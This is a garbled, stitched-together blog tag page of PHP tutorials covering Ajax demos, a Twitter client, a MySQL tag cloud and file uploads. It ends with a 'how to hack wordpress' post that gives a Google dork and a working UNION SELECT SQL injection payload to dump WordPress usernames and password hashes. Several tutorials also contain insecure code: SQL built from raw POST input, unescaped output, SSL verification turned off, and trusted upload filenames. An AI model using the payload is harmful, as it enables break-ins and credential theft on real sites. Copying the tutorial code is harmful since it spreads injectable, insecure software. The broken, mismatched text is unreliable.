Posts Tagged ‘PHP’

ajax amsterdam

In this section we will create a simple Ajax Application for displaying the current date and time. Date and time information are retrieved asynchronously from the server side php script. Our HTML page calls serverside php script to retrieve the today’s date. Once the time data is retrieved from the server, it uses javascript and css to display the time on the HTML page.

The server side script is developed in PHP that displays the current time of the server. You modify the php to display your own message. This program can also be used to do some business processing.

These days Ajax is being used extensively for the development of interactive websites. There are many frameworks available these days to develop Ajax applications. But you should start learning the Ajax from scratch. This is the first example in Ajax that will give you quick start in the Ajax technologies.

Let’s get started with the Ajax technology and develop our fist Ajax Datetime example.

 

Here is the code of HTML File:

 

 <html>
        <head>

        <title>Ajax Example</title>

 // <![CDATA[
        function postRequest(strURL) {

	var xmlHttp;

        if (window.XMLHttpRequest) { // Mozilla, Safari, ...

         var xmlHttp = new XMLHttpRequest();

       } else if (window.ActiveXObject) { // IE

         var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

       }

    xmlHttp.open('POST', strURL, true);

    xmlHttp.setRequestHeader('Content-Type', 
         'application/x-www-form-urlencoded');

    xmlHttp.onreadystatechange = function() {

        if (xmlHttp.readyState == 4) {

            updatepage(xmlHttp.responseText);

        }

    }

    xmlHttp.send(strURL);

        }

        function updatepage(str){

    document.getElementById("result").innerHTML = 
// ]]>
"" + str + "";;

        }

        function showCurrentTime(){

	var rnd = Math.random();

	var url="time.php?id="+rnd;

	postRequest(url);

        }

        

        

        <h1 align="center">Ajax Example

 This very simple
Ajax Example retrieves the

current date and time from server and shows on the form.
To view the current

date and time click on the following button.

 


    type="button" onclick='JavaScript:showCurrentTime()' 
name="showdate">

 



                

When use clicks on the “Show Time” button, the showCurrentTime() is called. The the function showCurrentTime() calls the time.php using Ajax and then updates the time values retrieved from server.

Here is the code of PHP (time.php) file:

<?
print date(“l M dS, Y, H:i:s”);
?>

The above PHP code prints current date and time.

Try the example Online

AJAX

In the following example we will see how to display server IP address dynamically with the help of AJAX, HTML , & PHP.

SimpleAjax.html

<html>
<body>
// <![CDATA[
javascript” >
// ]]>
function ajaxfunction()
{
var xmlhttp;
if(window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);
}
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{
document.timeform.time.value=xmlhttp.responseText;
}
}
xmlhttp.open(“GET”,”SimpleAjax.php”,true);
xmlhttp.send(null);
}
</script>
<form name=”timeform” >
Name:<input type=”text” name=”Name” onkeyup=”ajaxfunction()”; />
<br/>
Time:<input type=”text” name=”time”/>
<!–form>
</body>
</html>

SimpleAjax.php

<?php
echo ($SERVER_ADDR);
?>

SimpleAjax.html

<html>
<body>
// <![CDATA[
javascript” >
// ]]>
function ajaxfunction()
{
var xmlhttp;
if(window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);
}
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{
document.timeform.time.value=xmlhttp.responseText;
}
}
xmlhttp.open(“GET”,”SimpleAjax.php”,true);
xmlhttp.send(null);
}
</script>
<form name=”timeform” >
Name:<input type=”text” name=”Name” onkeyup=”ajaxfunction()”; />
<br/>
Time:<input type=”text” name=”time”/>
</form>
</body>
</html>

Note: In this way we can get different dynamic values of server and other like time, date etc.

Twitter, The popular micro blogging and real time update site has changed the way we interact in internet world. Not only it has became a source of latest updates/news going in world, but also an addiction to lot of those who tweets regularly.

Twitter has provided lots of API that can be used to Get the latest tweets / Add tweets / Search the tweets / Get the trends etc.. These APIs are REST APIs that can be called by using any scripting language and getting the result back. You can read full specifications of API at Twitter’s API site.

Let us first see the small demo that I have created. This demo page will read latest public tweets every 10 second and update it on screen with some animation effect.

Click here to view the demo.

We will use a PHP library to call the Twitter APIs and get the result. Following is the code of library. Just copy paste it in a file called Twitter.class.php.

<?php
    /* This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     * You should have received a copy of the GNU General Public License
     * along with this program.  If not, see <http://www.gnu.org/licenses/&gt;.
     *
     * File:    Twitter.class.php
     * Author:  Brandon Trebitowski
     * Created: 02/26/2009
     * Updated  06/24/09
     * Version: 1.1
     *
     */
    class Twitter {
        
        
        var $username=''
        var $password='';
        var $responseInfo=array();
        
        // Status Methods
        /*
         * Returns the 20 most recent statuses from non-protected users
         * who have set a custom user icon.  Does not require authentication. 
         * Note that the public timeline is cached for 60 seconds so requesting
         * it more often than that is a waste of resources.
         */
        function public_timeline($format) {
            $request = 'http://twitter.com/statuses/public_timeline.'.$format;
            return $this->process($request);
         }
         
         /* Returns the 20 most recent statuses posted by the authenticating
          * user and that user's friends. This is the equivalent of /home on the Web.
          */
        function friends_timeline($format='xml',$count=20) {
            $request = 'http://twitter.com/statuses/friends_timeline.'.$format;
            $postargs = "count=$count";
            return $this->process($request,$postargs);
        }
        
        /* Returns the 20 most recent statuses posted from the authenticating user.
         * It's also possible to request another user's timeline via the id parameter
         * below. This is the equivalent of the Web /archive page for your own user,
         * or the profile page for a third party.
         */
        function user_timeline($format='xml',$id=null) {
            $request = 'http://twitter.com/statuses/user_timeline.'.$format;
            if($id) {
                $postargs = "id=$id";
                return $this->process($request,$postargs);
            }
            return $this->process($request);
        }
        
        /* Updates the authenticating user's status.  Requires the status parameter
         * specified below.  Request must be a POST.  A status update with text identical
         * to the authenticating user's current status will be ignored.
         */
        function update($format = 'xml',$status){
            $request = 'http://twitter.com/statuses/update.'.$format;
            $postargs = 'status='.urlencode($status);
            return $this->process($request,$postargs);
        }
        
        /* Returns the 20 most recent @replies (status updates prefixed with @username)
         * for the authenticating user.
         */
        function replies($format='xml') {
            $request = 'http://twitter.com/statuses/replies.'.$format;
            return $this->process($request);
        }
        
        // User Methods
        /* Returns the authenticating user's friends, each with current status inline.
         * They are ordered by the order in which they were added as friends. It's also
         * possible to request another user's recent friends list via the id parameter below.
         */
        function friends($format='xml',$id=null,$page=1) {
            $request = 'http://twitter.com/statuses/friends.'.$format;
            $postargs = "page=$page";
            if($id) {
                $postargs .= "&amp;id=$id";
            }
            return $this->process($request,$postargs);
        }
        
        /* Returns the authenticating user's followers, each with current status inline. 
         * They are ordered by the order in which they joined Twitter (this is going to be changed).
         */
        function followers($format='xml',$id=null,$page=1) {
            $request = 'http://twitter.com/statuses/followers.'.$format;
            $postargs = "page=$page";
            if($id) {
                $postargs .= "&amp;id=$id";
            }
            return $this->process($request,$postargs);
        }
        
        /* Returns extended information of a given user, specified by ID or screen name
         * as per the required id parameter below.  This information includes design settings,
         * so third party developers can theme their widgets according to a given user's preferences.
         * You must be properly authenticated to request the page of a protected user.
         */
        function show($format='xml',$id) {
            $postargs = "";
            
            $request = 'http://twitter.com/users/show/'.$id.".$format";
            
            return $this->process($request);
        }
        
        // Friendship Methods
        
        /* Befriends the user specified in the ID parameter as the authenticating user. 
         * Returns the befriended user in the requested format when successful.  Returns
         * a string describing the failure condition when unsuccessful.
         */
        function create($format='xml',$user_ID) {
            $request = "http://twitter.com/friendships/create/$user_ID.$format";
            return $this->process($request);
        }
        
        /* Discontinues friendship with the user specified in the ID parameter as the
         * authenticating user.  Returns the un-friended user in the requested format
         * when successful.  Returns a string describing the failure condition when unsuccessful.
         */
        function destroy($format='xml',$user_ID) {
            $request = "http://twitter.com/friendships/destroy/$user_ID.$format";
            return $this->process($request);
        }
        
        /* Tests if a friendship exists between two users.
         */
        function exists($format='xml',$user_ID_a,$user_ID_b) {
            $request = "http://twitter.com/friendships/exists.$format?user_a=$user_ID_a&amp;user_b=$user_ID_b";
            return $this->process($request);
        }
        
        /* Processes a Twitter Request using cURL */
        function process($url,$postargs=false){
         
            $curl_conn = curl_init();
            curl_setopt($curl_conn, CURLOPT_URL, $url); //URL to connect to
            //curl_setopt($curl_conn, CURLOPT_POST, 1); //Use GET method
            curl_setopt($curl_conn, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); //Use basic authentication
            curl_setopt($curl_conn, CURLOPT_USERPWD, $this->username.":".$this->password); //Set u/p
            curl_setopt($curl_conn, CURLOPT_SSL_VERIFYPEER, false); //Do not check SSL certificate (but use SSL of course), live dangerously!
            curl_setopt($curl_conn, CURLOPT_RETURNTRANSFER, 1); //Return the result as string
            
            // Result from querying URL. Will parse as xml
            $output = curl_exec($curl_conn);
            
            // close cURL resource. It's like shutting down the water when you're brushing your teeth.
            
            $this->responseInfo=curl_getinfo($curl_conn);
            curl_close($curl_conn);
            
            if(intval($this->responseInfo['http_code'])==200){
                // Display the response from Twitter
                return $output;
            }else{
                // Something went wrong
                return "Error: " . $this->responseInfo['http_code'];
            }
            
        }
    }
?>

Now create a file called twitter-reader.php in the same folder as of Twitter.class.php and copy following content in it.

<html>
<head>
<title>Twitter Client example using PHP library - viralpatel.net</title>
    <style>
        body {
            font-family: sans-serif;
            font-size: 13px;
        }
        #update {
            height: 65px;
            width: 500px;
            background-color: #EFEFEF;
            margin-bottom: 5px;
            padding: 5 5 5 5;
        }
        #update #left {
            float:left;
            display: inline;
            padding-right: 7px;
        }
        #update .user {
            font-weight: bold;
            color: #0383FF;
        }
    </style>
    <script src="jquery-1.3.1.min.js" language="javascript"></script>
</head>
<body>
    <div id="updates">
<?php
include("Twitter.class.php");
$twitter = new Twitter();
$json = $twitter->public_timeline('json');
$updates = json_decode($json);
foreach ($updates  as $update) {
//   echo $update->text;
//   echo $update->user->name . "<br>";
?>
        <div id="update">
            <div id="left"><img width="48px" height="48px" src="<?=$update->user->profile_image_url?>"/></div>
            <div id="right">
                <div class="user"><?=$update->user->name?></div>
                <div class="detail">
                <?=$update->text?>
                </div>
            </div>
        </div>
<?php
}
?>
    </div>
<script>
$(document).ready(function(){
getlatest();
});
function getlatest() {
$.ajax({
    type: "GET",
    url: "latest-tweet.php",
    cache: false,
    success: function(html){
            $("div#updates").prepend(html);
            $("#update").slideDown("400");
        }
});
 setTimeout("getlatest();", 10000);
}
</script>
</body>
</html>

That’s it. Your simple twitter reader (client) that reads public tweets is ready. I have used some jQuery code to pull latest tweets every 10 seconds and display them on screen. For that we are using a php file latest-tweet.php which calls our PHP library and gets the latest tweet. Following is the content of latest-tweet.php

<?php
include("Twitter.class.php");
$twitter = new Twitter();
$json = $twitter->public_timeline('json');
$updates = json_decode($json);
$update = $updates[0];
?>
<div id="update" style="display:none">
    <div id="left"><img width="48px" height="48px" src="<?=$update->user->profile_image_url?>"/></div>
    <div id="right">
        <div class="user"><?=$update->user->name?></div>
        <div class="detail">
        <?=$update->text?>
        </div>
    </div>
</div>

Thus, all we need is three php files Twitter.class.php, twitter-reader.php and latest-tweet.php and that’s it.

There are different API functions available in Tweeter.class.php that can be used to do lot of things around twitter. Functions are pretty much self explanatory. Give it a try and let me know.

 

Empire Avenue Tag Cloud

The basic idea this time is to present a way to form a tag cloud from user input text and text entered in the past. A tag cloud is a visual depiction of user-generated tags, or simply the word content of a site, used typically to describe the content of web sites.

for this we will create an HTML form that will accept user text & also allow user to see tag cloud generated from mysql database which contains the text entered in the past.

<!--?php
    echo 'php” name=”gen_tag_db”>’;
    echo 'Input your text here:
<textarea name=”tag_input” rows=”20″ cols=”80″>

';

    echo '<input type="submit" name="submit">';
    echo '</form>';
?>
<br />
<h3>OR</h3>
<br />
<p>see the current tag cloud here</p>
<!--?php
    echo 'php”>’;
    echo '<input type="submit" value="show current tag cloud" >';
    echo '</form>';
?>

The entered text will be tokenized into single words with php function strtok(), each of which will have its frequency counted and the pair will go into an array. This array will then be stored into a mysql database, we can optionally keep a coloumn in the mysql database table to store links if any for future expansion of this project.

1) tag_id —- int,primary key,auto increament

2) keyword — varchar(20),unique

3) weight — int

4) link — varchar(256).

Next make a php file and name it tag_cloud_gen.php . The php code written in following lines just make an array ‘$words’ which has keyword in lower case & its frequency association from input text. The pairs from the array are then feed into the mysql database ‘tagcloud_db’ which has a table callet ‘tags’ whose columns are listed above. On encountering error the mysql _errrno() returns error number. While feeding the word array to the tags table duplication may occour, because of the previous entries, so we check whether this is the case by comparing the number returned to ’1062′ which indicates duplicate field present in the table (the keyword coloumn of table has unique constraint). On encountering this we simply update the mysql database to include the count of this input word/tag too.

<!--?php
///////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* this function will update the mysql database table to reflect the new count of the keyword
* i.e. the sum of current count in the mysql database &amp;amp; current count in the input.
*/
function update_database_entry($connection,$table,$keyword,$weight){
    
    $string=$_POST['tag_input'];
    $connection = mysql_connect("localhost", "root", "");
    /**
    * now comes the main part of generating the tag cloud
    * we would use a css styling for deciding the size of the tag according to its weight,
    * both of which would be fetched from mysql database.
    */
    $query="select * from `tagcloud_db`.`tags` where keyword like '%$keyword%'";
    $resultset=mysql_query($query,$connection);
    if(!$resultset){
        die('Invalid query: ' . mysql_error());
    } else {
        while($row=mysql_fetch_array($resultset)){
        $query="UPDATE `tagcloud_db`.`tags` SET weight=".($row[2]+$weight)." where tag_id=".$row[0].";";
        mysql_query($query,$connection);
    }
}
}
?>
<?php
/*
* get the input string from the post and then tokenize it to get each word, save the words in an array
* in case the word is repeated add '1' to the existing words counter
*/
    $count=0;
    $tok = strtok($string, " \t,;.\'\"!&-`\n\r");//considering line-return,line-feed,white space,comma,ampersand,tab,etc... as word separator
    if(strlen($tok)>0) $tok=strtolower($tok);
    $words=array();
    $words[$tok]=1;
    while ($tok !== false) {
        echo "Word=$tok<br />";
        $tok = strtok(" \t,;.\'\"!&-`\n\r");
        if(strlen($tok)>0) {
        $tok=strtolower($tok);
        if($words[$tok]>=1){
            $words[$tok]=$words[$tok] + 1;
        } else {
            $words[$tok]=1;
        }
    }
}
print_r($words);
echo '<br /><br />';
/**
* now enter the above array of word and corresponding count values into the database table
* in case the keyword already exist in the table then update the database table using the function 'update_database_entry(...)'
*/
$table="tagcloud_db";
mysql_select_db($table,$connection);
foreach($words as $keyword=>$weight){
    $query="INSERT INTO `tagcloud_db`.`tags` (keyword,weight,link) values ('".$keyword."',".$weight.",'NA')";
    if(!mysql_query($query,$connection)){
        if(mysql_errno($connection)==1062){
            update_database_entry($connection,$table,$keyword,$weight);
        }
    }
}
mysql_close($connection);
?>

Make another file and name it style.css . Put the following code in it.

HTML, BODY
{
padding: 0;
border: 0px none;
font-family: Verdana;
font-weight: none;
}
.tags_div
{
padding: 3px;
border: 1px solid #A8A8C3;
background-color: white;
width: 500px;
-moz-border-radius: 5px;
}
H1
{
font-size: 16px;
font-weight: none;
}
A:link
{
color: #676F9D;
text-decoration: none;
}
A:hover
{
text-decoration: none;
background-color: #4F5AA1;
color: white;
}

This will make our tag cloud look pretty, save it as style.css .
again make a new php file and name it show_tag_cloud.php .
In the php code that follows we connect to mysql database, fetch back all the tags, its weight and link.

Then it calculates the size for each tag using its weight & minimum assumed size for tags, it also associates each tag the link retrieved from the database or with a google link if no link was there i.e. ‘NA’

<?php
    $connection = mysql_connect("localhost", "root", "");
    $table="tagcloud_db";
    $words=array();
    $words_link=array();
    mysql_select_db($table,$connection);
    $query="SELECT keyword,weight,link FROM `tagcloud_db`.`tags`;";
    
    if($resultset=mysql_query($query,$connection)){
        while($row=mysql_fetch_row($resultset)){
            $words[$row[0]]=$row[1];
            $words_link[$row[0]]=$row[2];
        }
    }
// Incresing this number will make the words bigger; Decreasing will do reverse
$factor = 0.5;
// Smallest font size possible
$starting_font_size = 12;
// Tag Separator
$tag_separator = '&nbsp;    ';
$max_count = array_sum($words);
?>
<!--DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
    <HEAD>
        <TITLE> Tag Cloud Generator </TITLE>
        <META NAME="Keywords" CONTENT="tag, cloud, php, mysql">
        <META NAME="Description" CONTENT="A Tag Cloud using php and mysql">
        <LINK REL="stylesheet" HREF="style.css" TYPE="text/css">
    </HEAD>
<BODY>

Tag Cloud using php

and mysql </h1><div align='center' class='tags_div'>

<?php
foreach($words as $tag => $weight )
{
    $x = round(($weight * 100) / $max_count) * $factor;
    $font_size = $starting_font_size + $x.'px';
    if($words_link[$tag]=='NA') echo "<span style='font-size: ".$font_size."; color: #676F9D;'>.$tag."&meta='>".$tag."</a></span>".$tag_separator;
    else echo "<span style='font-size: ".$font_size."; color: #676F9D;'>.$words_link[$tag]."/'>".$tag."</a></span>".$tag_separator;
}
?>
</div></center>
</BODY>
</HTML>

now put them all in your webserver’s root directory and watch the results. Each query will give you new results over time as the database grows.

a sample output from my tag cloug looks like this:

a sample tag cloud on my computer

This tag cloud was generated using the following data:

tag_id;keyword;weight;link
“1″;”vimal”;”7″;”www.zeeshanakhter.com”
“2″;”scet”;”5″;”NA”
“3″;”engg”;”2″;”NA”
“4″;”0″;”1″;”NA”
“7″;”google”;”5″;”NA”
“8″;”cool”;”2″;”NA”
“9″;”orkut”;”3″;”NA”

Create an Upload-File Form

To allow users to upload files from a form can be very useful.

Look at the following HTML form for uploading files:

<html>
<body>

<form action=”upload_file.php” method=”post”
enctype=”multipart/form-data”>
<label for=”file”>Filename:</label>
<input type=”file” name=”file” id=”file” />
<br />
<input type=”submit” name=”submit” value=”Submit” />
</form>

</body>
</html>

Notice the following about the HTML form above:

  • The enctype attribute of thetag specifies which content-type to use when submitting the form. “multipart/form-data” is used when a form requires binary data, like the contents of a file, to be uploaded
  • The type=”file” attribute of the <input> tag specifies that the input should be processed as a file. For example, when viewed in a browser, there will be a browse-button next to the input field

Note: Allowing users to upload files is a big security risk. Only permit trusted users to perform file uploads.


Create The Upload Script

The “upload_file.php” file contains the code for uploading a file:

<?php
if ($_FILES[“file”][“error”] > 0)
{
echo “Error: ” . $_FILES[“file”][“error”] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES[“file”][“name”] . “<br />”;
echo “Type: ” . $_FILES[“file”][“type”] . “<br />”;
echo “Size: ” . ($_FILES[“file”][“size”] / 1024) . ” Kb<br />”;
echo “Stored in: ” . $_FILES[“file”][“tmp_name”];
}
?>

By using the global PHP $_FILES array you can upload files from a client computer to the remote server.

The first parameter is the form’s input name and the second index can be either “name”, “type”, “size”, “tmp_name” or “error”. Like this:

  • $_FILES[“file”][“name”] – the name of the uploaded file
  • $_FILES[“file”][“type”] – the type of the uploaded file
  • $_FILES[“file”][“size”] – the size in bytes of the uploaded file
  • $_FILES[“file”][“tmp_name”] – the name of the temporary copy of the file stored on the server
  • $_FILES[“file”][“error”] – the error code resulting from the file upload

This is a very simple way of uploading files. For security reasons, you should add restrictions on what the user is allowed to upload.


Restrictions on Upload

In this script we add some restrictions to the file upload. The user may upload .gif, .jpeg, and .png files; and the file size must be under 20 kb:

<?php
$allowedExts = array(“jpg”, “jpeg”, “gif”, “png”);
$extension = end(explode(“.”, $_FILES[“file”][“name”]));
if ((($_FILES[“file”][“type”] == “image/gif”)
|| ($_FILES[“file”][“type”] == “image/jpeg”)
|| ($_FILES[“file”][“type”] == “image/png”)
|| ($_FILES[“file”][“type”] == “image/pjpeg“))
&& ($_FILES[“file”][“size”] < 20000)
&& in_array($extension, $allowedExts))
{
if ($_FILES[“file”][“error”] > 0)
{
echo “Error: ” . $_FILES[“file”][“error”] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES[“file”][“name”] . “<br />”;
echo “Type: ” . $_FILES[“file”][“type”] . “<br />”;
echo “Size: ” . ($_FILES[“file”][“size”] / 1024) . ” Kb<br />”;
echo “Stored in: ” . $_FILES[“file”][“tmp_name”];
}
}
else
{
echo “Invalid file”;
}
?>

Note: For IE to recognize jpg files the type must be pjpeg, for FireFox it must be jpeg.


Saving the Uploaded File

The examples above create a temporary copy of the uploaded files in the PHP temp folder on the server.

The temporary copied files disappears when the script ends. To store the uploaded file we need to copy it to a different location:

<?php
$allowedExts = array(“jpg”, “jpeg”, “gif”, “png”);
$extension = end(explode(“.”, $_FILES[“file”][“name”]));
if ((($_FILES[“file”][“type”] == “image/gif”)
|| ($_FILES[“file”][“type”] == “image/jpeg”)
|| ($_FILES[“file”][“type”] == “image/png”)
|| ($_FILES[“file”][“type”] == “image/pjpeg”))
&& ($_FILES[“file”][“size”] < 20000)
&& in_array($extension, $allowedExts))
{
if ($_FILES[“file”][“error”] > 0)
{
echo “Return Code: ” . $_FILES[“file”][“error”] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES[“file”][“name”] . “<br />”;
echo “Type: ” . $_FILES[“file”][“type”] . “<br />”;
echo “Size: ” . ($_FILES[“file”][“size”] / 1024) . ” Kb<br />”;
echo “Temp file: ” . $_FILES[“file”][“tmp_name”] . ”
“;

if (file_exists(“upload/” . $_FILES[“file”][“name”]))
{
echo $_FILES[“file”][“name”] . ” already exists. “;
}
else
{
move_uploaded_file($_FILES[“file”][“tmp_name”],
“upload/” . $_FILES[“file”][“name”]);
echo “Stored in: ” . “upload/” . $_FILES[“file”][“name”];
}
}
}
else
{
echo “Invalid file”;
}
?>

The script above checks if the file already exists, if it does not, it copies the file to the specified folder.

 

Computer graphics card fail - 2010-11-28

Hi here i tell you how to hack wordpress site with easy way i will use exploit to hacksites i saw lots of Messages that say “hey help can anyone can tell me how to hackwordpress” and it’s an easy way with exploit ?

https://i2.wp.com/timani.net/wp-content/uploads/2010/04/wordpress-logo-300x282.png

First we search with this in google to find sites

inurl:”wp-content/plugins/photoracer/viewimg.php?id=”

see the Result :-

[Image: asdmr.png]

and i’m gonna test 1 of them for ex this find in google

 

 

we are going to add the exploit : this is the exploit

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users–

 

and the site look like this

 

https://i0.wp.com/img638.imageshack.us/img638/2927/asddy.png

now you can see the user and pass :D ! Just crack the hash and it’s done
The admin panel is